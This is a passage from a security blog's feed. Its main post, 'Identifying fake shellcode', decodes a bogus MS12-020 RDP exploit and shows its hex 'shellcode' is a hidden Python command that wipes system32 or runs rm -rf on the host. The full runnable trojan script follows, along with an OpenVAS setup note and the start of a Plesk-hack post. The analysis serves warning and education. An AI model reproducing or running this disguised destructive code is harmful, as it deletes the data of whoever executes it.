xscholler = &quot;\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1&quot;&lt;br /&gt;xscholler += &quot;\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63&quot;&lt;br /&gt;xscholler += &quot;\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a&quot;&lt;br /&gt;xscholler += &quot;\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f&quot;&lt;br /&gt;xscholler += &quot;\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73&quot;&lt;br /&gt;xscholler += &quot;\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c&quot;&lt;br /&gt;xscholler += &quot;\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70&quot;&lt;br /&gt;xscholler += &quot;\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61&quot;&lt;br /&gt;xscholler += &quot;\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33&quot;&lt;br /&gt;xscholler += &quot;\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32&quot;&lt;br /&gt;xscholler += &quot;\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e&quot;&lt;br /&gt;xscholler += &quot;\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39&quot;&lt;br /&gt;xscholler += &quot;\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e&quot;&lt;br /&gt;xscholler += &quot;\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51&quot;&lt;br /&gt;xscholler += &quot;\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64&quot;&lt;br /&gt;xscholler += &quot;\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37&quot;&lt;br /&gt;xscholler += &quot;\x41&quot; * 39&lt;br /&gt;xscholler += &quot;\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e&quot;&lt;br /&gt;xscholler += &quot;\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73&quot;&lt;br /&gt;xscholler += &quot;\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61&quot;&lt;br /&gt;xscholler += &quot;\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78&quot;&lt;br /&gt;xscholler += &quot;\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e&quot;&lt;br /&gt;xscholler += &quot;\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30&quot;&lt;br /&gt;xscholler += &quot;\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b&quot;&lt;br /&gt;xscholler += &quot;\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b&quot;&lt;br /&gt;xscholler += &quot;\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Section 2&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;#bindshell PORT 8888&lt;br /&gt;shellcode = &quot;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73&quot;&lt;br /&gt;shellcode += &quot;\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a&quot;&lt;br /&gt;shellcode += &quot;\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20&quot;&lt;br /&gt;shellcode += &quot;\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e&quot;&lt;br /&gt;shellcode += &quot;\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61&quot;&lt;br /&gt;shellcode += &quot;\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73&quot;&lt;br /&gt;shellcode += &quot;\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73&quot;&lt;br /&gt;shellcode += &quot;\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f&quot;&lt;br /&gt;shellcode += &quot;\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20&quot;&lt;br /&gt;shellcode += &quot;\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20&quot;&lt;br /&gt;shellcode += &quot;\x69\x6e\x73\x69\x64\x69\x6f\x75\x73&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The value of the code under the &#39;xscholler&#39; section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let&#39;s have a look on the part of section 2.&lt;br /&gt;
&lt;br /&gt;
An easy method to briefly check what&#39;s under there is by reading the values of the hex. echo command under linux can help us to do that.&lt;br /&gt;
&lt;br /&gt;
eg:&lt;br /&gt;
&lt;br /&gt;
echo -e &quot;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73&quot;&lt;br /&gt;echo -e &quot;\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a&quot;&lt;br /&gt;echo -e &quot;\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20&quot;&lt;br /&gt;echo -e &quot;\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e&quot;&lt;br /&gt;echo -e &quot;\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61&quot;&lt;br /&gt;echo -e &quot;\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73&quot;&lt;br /&gt;echo -e &quot;\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73&quot;&lt;br /&gt;echo -e &quot;\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f&quot;&lt;br /&gt;echo -e &quot;\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20&quot;&lt;br /&gt;echo -e &quot;\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20&quot;&lt;br /&gt;echo -e &quot;\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20&quot;&lt;br /&gt;echo -e &quot;\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20&quot;&lt;br /&gt;echo -e &quot;\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20&quot;&lt;br /&gt;echo -e &quot;\x69\x6e\x73\x69\x64\x69\x6f\x75\x73&quot;&lt;br /&gt;
&lt;br /&gt;
Will produce the following results:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;__import__(&#39;os&#39;).system(&#39;&lt;span style=&quot;color: red;&quot;&gt;del /s /q /f C:\windows\system32\* &amp;gt; NUL 2&amp;gt;&amp;amp;1&lt;/span&gt;&#39;) if &#39;Win&#39; in __import__(&#39;platform&#39;).system() else __import__(&#39;os&#39;).system(&#39;&lt;span style=&quot;color: red;&quot;&gt;rm -rf /* &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&lt;/span&gt;&#39;) #hi there ^_~ feel free to spread this with&amp;nbsp; the rm -rf replaced with something more insidious&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So this is just another fake exploit that will try to identify the system and execute a deletion.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below is the code of this fake, please don&#39;t use it&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;# greating n4sss and foreach my friends and luk3r-C&lt;br /&gt;# xsdev@outlook.com&lt;br /&gt;# rdpxs.py&lt;br /&gt;# MS12-020 RDP, remote exploit code execution&lt;br /&gt;# on all patch machines, XP to 7&lt;br /&gt;# testado nas versoes windows 7 xp e vista com patch.&lt;br /&gt;#&lt;br /&gt;# Author: xscholler&lt;br /&gt;&lt;br /&gt;import struct&lt;br /&gt;import socket&lt;br /&gt;import sys&lt;br /&gt;import os&lt;br /&gt;&lt;br /&gt;xscholler = &quot;\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1&quot;&lt;br /&gt;xscholler += &quot;\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63&quot;&lt;br /&gt;xscholler += &quot;\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a&quot;&lt;br /&gt;xscholler += &quot;\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f&quot;&lt;br /&gt;xscholler += &quot;\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73&quot;&lt;br /&gt;xscholler += &quot;\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c&quot;&lt;br /&gt;xscholler += &quot;\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70&quot;&lt;br /&gt;xscholler += &quot;\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61&quot;&lt;br /&gt;xscholler += &quot;\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33&quot;&lt;br /&gt;xscholler += &quot;\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32&quot;&lt;br /&gt;xscholler += &quot;\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e&quot;&lt;br /&gt;xscholler += &quot;\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39&quot;&lt;br /&gt;xscholler += &quot;\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e&quot;&lt;br /&gt;xscholler += &quot;\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51&quot;&lt;br /&gt;xscholler += &quot;\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64&quot;&lt;br /&gt;xscholler += &quot;\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37&quot;&lt;br /&gt;xscholler += &quot;\x41&quot; * 39&lt;br /&gt;xscholler += &quot;\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e&quot;&lt;br /&gt;xscholler += &quot;\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73&quot;&lt;br /&gt;xscholler += &quot;\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61&quot;&lt;br /&gt;xscholler += &quot;\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78&quot;&lt;br /&gt;xscholler += &quot;\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e&quot;&lt;br /&gt;xscholler += &quot;\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30&quot;&lt;br /&gt;xscholler += &quot;\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b&quot;&lt;br /&gt;xscholler += &quot;\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b&quot;&lt;br /&gt;xscholler += &quot;\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00&quot;&lt;br /&gt;&lt;br /&gt;argument = &quot;\x90&quot; * 214&lt;br /&gt;&lt;br /&gt;#bindshell PORT 8888&lt;br /&gt;shellcode = &quot;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73&quot;&lt;br /&gt;shellcode += &quot;\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a&quot;&lt;br /&gt;shellcode += &quot;\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20&quot;&lt;br /&gt;shellcode += &quot;\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e&quot;&lt;br /&gt;shellcode += &quot;\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61&quot;&lt;br /&gt;shellcode += &quot;\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73&quot;&lt;br /&gt;shellcode += &quot;\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73&quot;&lt;br /&gt;shellcode += &quot;\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f&quot;&lt;br /&gt;shellcode += &quot;\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20&quot;&lt;br /&gt;shellcode += &quot;\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20&quot;&lt;br /&gt;shellcode += &quot;\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20&quot;&lt;br /&gt;shellcode += &quot;\x69\x6e\x73\x69\x64\x69\x6f\x75\x73&quot;&lt;br /&gt;&lt;br /&gt;xst = xscholler + argument&lt;br /&gt;&lt;br /&gt;class RDPsocket(socket.socket):&lt;br /&gt;def __init__(self, payload, shellcode):&lt;br /&gt;super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;self.payload = payload&lt;br /&gt;self.table = __imPORT__(&quot;__builtin__&quot;).__dict__ #&lt;br /&gt;self.shellcode = shellcode&lt;br /&gt;&lt;br /&gt;def parse(self, address, shellcode):&lt;br /&gt;fucker = (struct.pack(&quot;&amp;gt;I&quot;, 0x6576616c),&lt;br /&gt;socket.inet_aton(address[0]), #IP bytes&lt;br /&gt;socket.inet_aton(str(address[1]))) #PORT bytes&lt;br /&gt;linha = struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2fb63) #pop eax&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2fb58) #push esp&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2db10) #call strcpy&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2dfd1) #POP - POP - RET over strcpy params&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2b3d4) #POP - RET&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0xffffffff) #value to store in ecx&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0c0c7) #inc ecx # xor al,0xc9&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0c0c7) #inc ecx # xor al,0xc9&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += fucker[0] #add the prelude&lt;br /&gt;linha += fucker[1] #add the packed IP address&lt;br /&gt;linha += fucker[2] #add the packed PORT&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2c71d) #mov eax,edx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2def4) #add eax,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0e32d) #xchg eax,edx&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0c0c7) #inc ecx # xor al,0xc9&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0c0c7) #inc ecx # xor al,0xc9&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe24b3c) #add ecx,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2def4) #add eax,ecx # ret # swap back&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back&lt;br /&gt;to original value&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0e32d) #xchg eax,edx&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2daea) #sub eax,ecx # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0x8fe2b6a5) #dec ebp # ret&lt;br /&gt;linha += struct.pack(&quot;&amp;gt;I&quot;, 0xffff01f3) #mov esp,ebp # pop ebp # ret&lt;br /&gt;read = self.table[fucker[0]] #reader for the linha shellcode/data&lt;br /&gt;&lt;br /&gt;return str(read(shellcode)), linha&lt;br /&gt;&lt;br /&gt;def connect(self, address):&lt;br /&gt;self.linha_shell = self.parse(address, shellcode)&lt;br /&gt;super(RDPsocket, self).connect(address)&lt;br /&gt;&lt;br /&gt;def xst_sendall(self):&lt;br /&gt;super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if __name__ == &quot;__main__&quot;:&lt;br /&gt;if len(sys.argv) != 2:&lt;br /&gt;print &quot;[*] Usage: python rdpxs.py IP&quot;&lt;br /&gt;&lt;br /&gt;else:&lt;br /&gt;ALVO = sys.argv[1]&lt;br /&gt;PORT = 3389 #default RDP PORT&lt;br /&gt;&lt;br /&gt;print &quot;[*] Rodando rdpxs&quot;&lt;br /&gt;print&lt;br /&gt;s = RDPsocket(xst, shellcode)&lt;br /&gt;print &quot;[+] Conectando e configurando payload. . .&quot;&lt;br /&gt;print &quot;[+] isso pode levar alguns minutos...&quot;&lt;br /&gt;s.connect((ALVO, PORT))&lt;br /&gt;print &quot;[+] Conexao estabelecida&quot;&lt;br /&gt;print &quot;[+] Enviando payload. . .&quot;&lt;br /&gt;s.xst_sendall()&lt;br /&gt;response = s.recv(4096)&lt;br /&gt;if &quot;\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00&quot; in response:&lt;br /&gt;print &quot;[+] Bem Succedido! Payload enviado e executado com sucesso!.&quot;&lt;br /&gt;print &quot;[+] Telnet ALVO na PORT 8888.&quot;&lt;br /&gt;else:&lt;br /&gt;print &quot;[-] Failed&quot;&lt;br /&gt;s.close() </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/6071019401971950137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2013/07/identifying-fake-shellcode-quick-guide.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6071019401971950137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6071019401971950137'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2013/07/identifying-fake-shellcode-quick-guide.html' title='Identifying fake shellcode - quick guide'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-2398254620098969270</id><published>2013-03-27T10:43:00.001+02:00</published><updated>2013-03-27T10:43:50.318+02:00</updated><title type='text'>Openvas quick installation on Backtrack linux</title><content type='html'>&lt;p&gt;It’s been some time since I wrote something in this blog, work and contributing in other sites took most of my time, but still this is my personal blog. I find it easier to write something in here and go back to look for it when needed than keeping documents around. &lt;/p&gt; &lt;p&gt;I mostly have Nessus on my disposal but sometimes there is a requirement to perform a security audit using opensource tools, and what is the best alternative to Nessus if not Openvas. &lt;/p&gt; &lt;p&gt;Openvas files are included in the backtrack Linux (BT5 R3). I’m sure you can find lengthy setup guides for it, but this is not one of them, on the contrary I’m trying to make things in a copy paste form for easy setup in less than couple of minutes. &lt;/p&gt; &lt;p&gt;Assuming that you already have a working backtrack installation you can issue the following commands to setup Openvas. &lt;/p&gt; &lt;p&gt;openvas-mkcert&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #you can press ender here for all &lt;br&gt;openvasad -c &#39;add_user&#39; -n admin -r Admin&amp;nbsp;&amp;nbsp; #add your password here&lt;br&gt;openvas-mkcert-client -n om –i &lt;/p&gt; &lt;p&gt;openvas-nvt-sync&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #this will take some time&lt;br&gt;openvassd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #again here the plugins will be loaded&amp;nbsp; it would take a while&lt;/p&gt; &lt;p&gt;openvasmd –rebuild&lt;/p&gt; &lt;p&gt;openvasmd -p 9390 -a 127.0.0.1&lt;br&gt;openvasad -a 127.0.0.1 -p 9393&lt;br&gt;gsad --http-only --listen=YOUR_IP -p 9392 #don’t forget to add your ip address here &lt;/p&gt; &lt;p&gt;After that, you can access your Openvas installation at &lt;a href=&quot;http://Your_IP:9392&quot;&gt;http://Your_IP:9392&lt;/a&gt; &lt;/p&gt; &lt;p&gt;Don’t forget to issue, &lt;/p&gt; &lt;p&gt;apt-get install texlive-latex-extra&amp;nbsp; &lt;/p&gt; &lt;p&gt;on the system in order to be able to generate pdf reports from the web interface. &lt;/p&gt; &lt;p&gt;Some rules of thumb, Openvas takes a lot of CPU time and memory, if you are planning on scanning several C classes and you are having a virtual machine for your installation, use more than 4 VCPUs and around 4Gb of Ram. Generally the more the merrier. Finally a normal scan will take about 1 hour for every C class to be completed. &lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/2398254620098969270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2013/03/openvas-quick-installation-on-backtrack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2398254620098969270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2398254620098969270'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2013/03/openvas-quick-installation-on-backtrack.html' title='Openvas quick installation on Backtrack linux'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-3596448158629462381</id><published>2012-08-18T23:20:00.001+03:00</published><updated>2012-08-18T23:20:32.194+03:00</updated><title type='text'>3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%</title><content type='html'>&lt;p&gt;I wrote again about the infected PLESK systems, Brian Krebs wrote about the topic some time later in the year (&lt;a title=&quot;http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/&quot; href=&quot;http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/&quot;&gt;http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/&lt;/a&gt;) but until now I didn’t see any 